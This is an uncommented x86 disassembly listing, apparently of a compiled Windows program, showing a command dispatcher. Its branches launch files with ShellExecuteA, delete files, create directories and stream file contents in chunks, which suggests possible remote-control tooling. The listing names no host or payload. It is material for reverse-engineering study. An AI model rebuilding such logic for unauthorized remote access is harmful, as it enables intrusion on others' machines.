push 0x7f
lea eax, [ebp - 0x280]
push eax
mov eax, dword [0x540b90]
mov eax, dword [eax]
call eax
test eax, eax
jne 0x4e46bb
lea eax, [ebp - 0x7c]
lea edx, [ebp - 0x280]
mov ecx, 0x80
call fcn.00404820
mov dword [ebp - 0x50], 2
jmp 0x4e46ac
lea edx, [ebp - 0x7c]
mov ecx, dword [ebp - 0x50]
mov eax, 0x4e7b58
call fcn.00404b6c
add dword [ebp - 0x50], 2
mov eax, dword [ebp - 0x7c]
call fcn.0040488c
cmp eax, dword [ebp - 0x50]
jge 0x4e4698
jmp 0x4e46c8
lea eax, [ebp - 0x7c]
mov edx, 0x4e7c20
call fcn.00404650
mov eax, dword [0x540644]
push dword [eax]
push 0x4e7c2c
push dword [ebp - 0x7c]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.0040494c
push dword [ebp - 0x7c]
push 0x4e7c2c
lea edx, [ebp - 0x990]
mov eax, 0x85
call fcn.004ab8e8
mov eax, dword [ebp - 0x990]
push eax
lea edx, [ebp - 0x994]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x994]
pop edx
call fcn.0046ce80
lea edx, [ebp - 0x98c]
call fcn.004093f0
push dword [ebp - 0x98c]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.0040494c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4759
mov byte [0x53fb78], 0
ret
lea edx, [ebp - 0x998]
mov eax, 0x84
call fcn.004ab8e8
mov eax, dword [ebp - 0x998]
push eax
lea edx, [ebp - 0x99c]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x99c]
pop edx
call fcn.0046c9cc
fstp qword [ebp - 0x98]
wait
mov eax, dword [0x549570]
call fcn.004df3d0
push eax
push 0
mov eax, dword [ebp - 0x7c]
push eax
mov eax, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x78]
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e47f2
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
mov dword [ebp - 0x84], 1
xor eax, eax
mov dword [ebp - 0x88], eax
cmp byte [0x53fb78], 0
jne 0x4e495c
call fcn.004b0b80
test eax, eax
jne 0x4e495c
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x9a0]
mov eax, dword [ebp - 0x7c]
call fcn.004df258
mov eax, dword [ebp - 0x9a0]
mov edx, dword [ebp - 0x7c]
call fcn.004049d0
je 0x4e4873
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e495c
xor eax, eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], 1
jmp 0x4e495c
cmp byte [0x53fb78], 0
jne 0x4e495c
xor eax, eax
push ebp
push 0x4e4955
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
lea edx, [ebp - 0x9a4]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9a4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9a8]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9a8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7c08
pop eax
call fcn.0046cc5c
push 1
lea eax, [ebp - 0x9ac]
call fcn.00471c18
mov eax, dword [ebp - 0x9ac]
call fcn.00404a84
push eax
push 1
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
je 0x4e4940
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e4940
xor eax, eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e495c
mov byte [0x53fb78], 0
ret
mov eax, dword [ebp - 0x88]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x84]
mov edx, 0xb1
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
cmp dword [ebp - 0x88], 1
jne case.0x4e0a85.10
mov edx, 5
xor eax, eax
call fcn.004f51b4
jmp case.0x4e0a85.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e49c3
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
mov dword [ebp - 0x84], 1
xor eax, eax
mov dword [ebp - 0x88], eax
cmp byte [0x53fb78], 0
jne 0x4e4c72
call fcn.004b0b80
test eax, eax
jne 0x4e4c72
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
call fcn.004df308
test al, al
je 0x4e4c72
lea edx, [ebp - 0x9b0]
mov eax, dword [ebp - 0x7c]
call fcn.004df258
mov eax, dword [ebp - 0x9b0]
mov edx, dword [ebp - 0x7c]
call fcn.004049d0
je 0x4e4ba0
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e4c72
lea edx, [ebp - 0x9b4]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9b4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9b8]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9b8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7c08
pop eax
call fcn.0046cc5c
cmp dword [ebp - 0x80], 0
je 0x4e4ad3
push 0
lea eax, [ebp - 0x9bc]
call fcn.00471c18
mov eax, dword [ebp - 0x9bc]
call fcn.00404a84
push eax
push 1
push 1
lea eax, [ebp - 0x80]
call fcn.00404adc
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
jmp 0x4e4adb
xor eax, eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e4c72
push 0
lea eax, [ebp - 0x9c0]
call fcn.00471c18
mov eax, dword [ebp - 0x9c0]
call fcn.00404a84
push eax
push 2
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e4c72
mov eax, dword [0x5408f4]
cmp byte [eax], 0
je 0x4e4b91
lea eax, [ebp - 0x9c4]
mov edx, dword [0x5408f4]
mov dl, byte [edx]
call fcn.00404798
mov eax, dword [ebp - 0x9c4]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e4b91
lea edx, [ebp - 0x9c8]
mov eax, 0x85
call fcn.004ab8e8
mov eax, dword [ebp - 0x9c8]
push eax
lea edx, [ebp - 0x9cc]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9cc]
mov ecx, 1
pop edx
call fcn.0046cc5c
mov dword [ebp - 0x88], 1
jmp 0x4e4c72
cmp byte [0x53fb78], 0
jne 0x4e4c65
xor eax, eax
push ebp
push 0x4e4c5e
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
lea edx, [ebp - 0x9d0]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9d0]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9d4]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9d4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7c08
pop eax
call fcn.0046cc5c
push 1
lea eax, [ebp - 0x9d8]
call fcn.00471c18
mov eax, dword [ebp - 0x9d8]
call fcn.00404a84
push eax
push 2
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4c65
mov byte [0x53fb78], 0
ret
cmp dword [ebp - 0x84], 0
jne 0x4e4a37
mov eax, dword [ebp - 0x88]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x84]
mov edx, 0xb3
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
cmp dword [ebp - 0x88], 1
jne case.0x4e0a85.10
mov eax, dword [0x53f45c]
xor edx, edx
call fcn.00404fc8
je 0x4e4cbb
mov eax, dword [0x53f45c]
call fcn.00404ea0
push eax
call sub.kernel32.dll_DeleteFileW
mov edx, 5
xor eax, eax
call fcn.004f51b4
jmp case.0x4e0a85.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e4cf7
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
lea eax, [ebp - 0x7c]
mov edx, dword [0x540644]
mov edx, dword [edx]
call fcn.00404650
lea edx, [ebp - 0x9dc]
mov eax, dword [ebp - 0x7c]
call fcn.004df258
call fcn.004b0a44
test eax, eax
jne 0x4e4e47
cmp dword [ebp - 0x7c], 0
je 0x4e4e47
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0x9e0]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx + 0x20]
call fcn.00404798
mov eax, dword [ebp - 0x9e0]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e4e3a
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0x21], 0
jne 0x4e4e3a
cmp byte [0x53fb78], 0
jne 0x4e4e3a
xor eax, eax
push ebp
push 0x4e4e33
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
call fcn.004b0b80
test eax, eax
jne 0x4e4e1e
lea edx, [ebp - 0x9e4]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9e4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9e8]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9e8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7c08
pop eax
call fcn.0046cc5c
push 1
lea eax, [ebp - 0x9ec]
call fcn.00471c18
mov eax, dword [ebp - 0x9ec]
call fcn.00404a84
push eax
push 0
push 1
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4e3a
mov byte [0x53fb78], 0
ret
cmp dword [ebp - 0x84], 0
je case.0x4e0a85.60
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xb2
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e4e8c
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
lea eax, [ebp - 0x7c]
mov edx, dword [0x540644]
mov edx, dword [edx]
call fcn.00404650
lea edx, [ebp - 0x9f0]
mov eax, dword [ebp - 0x7c]
call fcn.004df258
call fcn.004b0a44
test eax, eax
jne 0x4e4fdc
cmp dword [ebp - 0x7c], 0
je 0x4e4fdc
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx + 0x20]
call fcn.00404798
mov eax, dword [ebp - 0x9f4]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e4fcf
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0x21], 0
jne 0x4e4fcf
cmp byte [0x53fb78], 0
jne 0x4e4fcf
xor eax, eax
push ebp
push 0x4e4fc8
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
call fcn.004b0b80
test eax, eax
jne 0x4e4fb3
lea edx, [ebp - 0x9f8]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9f8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9fc]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x9fc]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7c08
pop eax
call fcn.0046cc5c
push 1
lea eax, [ebp - 0xa00]
call fcn.00471c18
mov eax, dword [ebp - 0xa00]
call fcn.00404a84
push eax
push 0
push 3
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4fcf
mov byte [0x53fb78], 0
ret
cmp dword [ebp - 0x84], 0
je case.0x4e0a85.60
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xb2
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
mov edx, 0x4e7c38
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c58
mov eax, dword [0x540c9c]
push dword [eax]
push 0x4e7c68
lea eax, [ebp - 0xa04]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa04]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c58
mov eax, dword [0x540c9c]
push dword [eax]
push 0x4e7c78
lea eax, [ebp - 0xa08]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa08]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c58
mov eax, dword [0x540c9c]
push dword [eax]
push 0x4e7c88
lea eax, [ebp - 0xa0c]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa0c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0xa10]
mov eax, 0xf9
call fcn.004ab8e8
mov ecx, dword [ebp - 0xa10]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x90]
call fcn.004048d8
lea eax, [ebp - 0xa14]
mov edx, dword [ebp - 0x90]
call fcn.00404e90
mov eax, dword [ebp - 0xa14]
push eax
push esi
call fcn.0046dff0
push 0x4e7c98
push dword [ebp - 0x90]
push 0x4e7c98
lea eax, [ebp - 0x90]
mov edx, 3
call fcn.0040494c
mov eax, esi
call fcn.004037ac
call fcn.004dfdac
xor edx, edx
mov eax, 3
call fcn.004dfdcc
push 0
push 0
push 0
mov eax, dword [ebp - 0x90]
call fcn.00404a84
push eax
push 0x4e7b90
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4e0a85.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
mov edx, 0x4e7c38
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c58
lea eax, [ebp - 0xa1c]
mov edx, dword [0x54956c]
mov dl, byte [edx]
call fcn.00404798
push dword [ebp - 0xa1c]
push 0x4e7ca4
lea eax, [ebp - 0xa18]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa18]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c58
push dword [0x54956c]
push 0x4e7cb8
lea eax, [ebp - 0xa20]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa20]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c58
push dword [0x54956c]
push 0x4e7cd0
lea eax, [ebp - 0xa24]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa24]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c58
mov eax, dword [0x540c9c]
push dword [eax]
push 0x4e7c88
lea eax, [ebp - 0xa28]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa28]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0xa2c]
mov eax, 0xf9
call fcn.004ab8e8
mov ecx, dword [ebp - 0xa2c]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x90]
call fcn.004048d8
lea eax, [ebp - 0xa30]
mov edx, dword [ebp - 0x90]
call fcn.00404e90
mov eax, dword [ebp - 0xa30]
push eax
push esi
call fcn.0046dff0
push 0x4e7c98
push dword [ebp - 0x90]
push 0x4e7c98
lea eax, [ebp - 0x90]
mov edx, 3
call fcn.0040494c
mov eax, esi
call fcn.004037ac
push 0
push 0
push 0
mov eax, dword [ebp - 0x90]
call fcn.00404a84
push eax
push 0x4e7b90
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.00473828
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
jmp case.0x4e0a85.10
lea edx, [ebp - 0xa34]
mov eax, 0xfa
call fcn.004ab8e8
mov eax, dword [ebp - 0xa34]
push eax
lea edx, [ebp - 0xa38]
mov eax, 0xae
call fcn.004ab8e8
mov eax, dword [ebp - 0xa38]
push eax
lea eax, [ebp - 0xa3c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0xa3c]
pop eax
pop edx
call fcn.0046c30c
jmp case.0x4e0a85.10
cmp dword [0x53f3a8], 0x5250390
jb case.0x4e0a85.10
cmp byte [0x53fb70], 0
jne case.0x4e0a85.10
xor eax, eax
push ebp
push 0x4e577c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x549644], eax
mov eax, dword [0x549644]
add eax, 0x5b
cmp eax, dword [0x5496d8]
jae 0x4e53a3
push 0
push 0x3e8
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e53a3
cmp eax, 0
je 0x4e5767
mov byte [0x53fb70], 1
lea edx, [ebp - 0xa0]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0xa0]
call fcn.004db564
lea eax, [ebp - 0xcc]
mov edx, dword [ebp - 0xa0]
call fcn.00404650
mov eax, dword [ebp - 0xa0]
call fcn.0040488c
cmp eax, 3
jge 0x4e53f6
mov eax, 0x53fb68
call fcn.004045b8
jmp 0x4e572b
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549914], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e5485
mov al, byte [0x549914]
call fcn.0046b940
test al, al
je 0x4e5485
mov al, byte [0x549914]
call fcn.004b0a70
test eax, eax
jne 0x4e5485
lea edx, [ebp - 0xa40]
mov al, byte [0x549914]
call fcn.004b0c6c
mov edx, dword [ebp - 0xa40]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa44]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa44]
lea eax, [ebp - 0xa0]
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e548f
mov eax, 0x53fb68
call fcn.004045b8
mov eax, dword [ebp - 0xa0]
call fcn.00462e40
test al, al
je 0x4e572b
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xdf
mov eax, dword [ebp - 0x28]
call fcn.004dd994
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a778]
call fcn.0046aa00
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4ed8bc
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4edb08
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee140
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0xa0]
call fcn.0040460c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x470804]
call fcn.0040377c
mov dword [0x5498fc], eax
push 0
push 0x20
mov eax, dword [0x5498fc]
call fcn.00419740
push 0
push 0x20
mov eax, dword [0x5498fc]
call fcn.004196dc
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4e5724
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046aab4
mov eax, dword [0x5498fc]
call fcn.004196f0
cmp edx, 0
jne 0x4e5599
cmp eax, 0x20
jbe 0x4e56e3
jmp 0x4e559f
jle 0x4e56e3
mov eax, dword [0x5498fc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xe8
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
mov eax, dword [0x5498fc]
call fcn.004196f0
mov edx, dword [ebp - 0x2c]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [0x5496d8]
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
mov eax, dword [ebp - 0x2c]
call fcn.004ed2cc
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xf2
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
push 0
push 0
mov eax, dword [0x5498fc]
call fcn.004196dc
xor ebx, ebx
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x14], ebx
inc ebx
mov eax, dword [ebp - 0xac]
cdq
push edx
push eax
mov eax, dword [0x5498fc]
call fcn.004196bc
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4e5666
cmp eax, 0x500
jbe 0x4e566f
jmp 0x4e5668
jle 0x4e566f
mov esi, 0x500
jmp 0x4e5681
mov eax, dword [0x5498fc]
call fcn.004196bc
mov esi, dword [ebp - 0xac]
sub esi, eax
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 0x20]
mov ecx, esi
mov eax, dword [0x5498fc]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x5498fc]
call fcn.004196bc
mov edx, dword [ebp - 0xac]
sub edx, eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x18], edx
add esi, 0x20
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dd610
test al, al
je 0x4e5701
test bl, 0xf
jne 0x4e56d4
mov eax, dword [0x540b3c]
mov eax, dword [eax]
call fcn.00448084
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x18], 0
jne 0x4e5635
jmp 0x4e5701
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004dd994
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e574a
mov eax, dword [0x5498fc]
call fcn.004037ac
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
ret
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004dd994
cmp dword [0x53fb68], 0
je 0x4e5767
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549914]
call fcn.004b0df0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0a85.10
mov byte [0x53fb70], 0
ret
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0x3c]
call fcn.004db564
mov eax, dword [ebp - 0x3c]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549914], al
mov eax, dword [ebp - 0x3c]
cmp byte [eax + 1], 0x3a
jne 0x4e581c
mov al, byte [0x549914]
call fcn.0046b940
test al, al
je 0x4e581c
mov al, byte [0x549914]
call fcn.004b0a70
test eax, eax
jne 0x4e581c
lea edx, [ebp - 0xa48]
mov al, byte [0x549914]
call fcn.004b0c6c
mov edx, dword [ebp - 0xa48]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa4c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0x3c]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa4c]
lea eax, [ebp - 0x3c]
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e5826
mov eax, 0x53fb68
call fcn.004045b8
push 0
lea eax, [ebp - 0x3c]
call fcn.00404adc
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [0x53fb68], 0
je 0x4e5859
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549914]
call fcn.004b0df0
push 0
push 0
lea edx, [ebp - 0xa50]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0xa50]
push eax
push 0
push 0
xor ecx, ecx
mov cl, bl
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
cmp byte [0x53fb74], 0
jne case.0x4e0a85.10
xor eax, eax
push ebp
push 0x4e5b40
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb74], 1
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x9c], eax
lea edx, [ebp - 0xa54]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xa54]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xa0]
call fcn.004db564
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549914], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e5992
mov al, byte [0x549914]
call fcn.0046b940
test al, al
je 0x4e5992
mov al, byte [0x549914]
call fcn.004b0a70
test eax, eax
jne 0x4e5992
lea edx, [ebp - 0xa58]
mov al, byte [0x549914]
call fcn.004b0c6c
mov edx, dword [ebp - 0xa58]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa5c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa5c]
lea eax, [ebp - 0xa0]
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e599c
mov eax, 0x53fb68
call fcn.004045b8
mov eax, dword [ebp - 0x9c]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4e5adb
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x50], 1
lea ecx, [ebp - 0xa60]
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xa60]
lea eax, [ebp - 0x3c]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0x3c]
call fcn.0046dd44
test al, al
je 0x4e5a0b
mov eax, dword [ebp - 0x3c]
call fcn.004f8b60
mov edx, 2
mov eax, dword [ebp - 0x3c]
call fcn.004da8fc
jmp 0x4e5acc
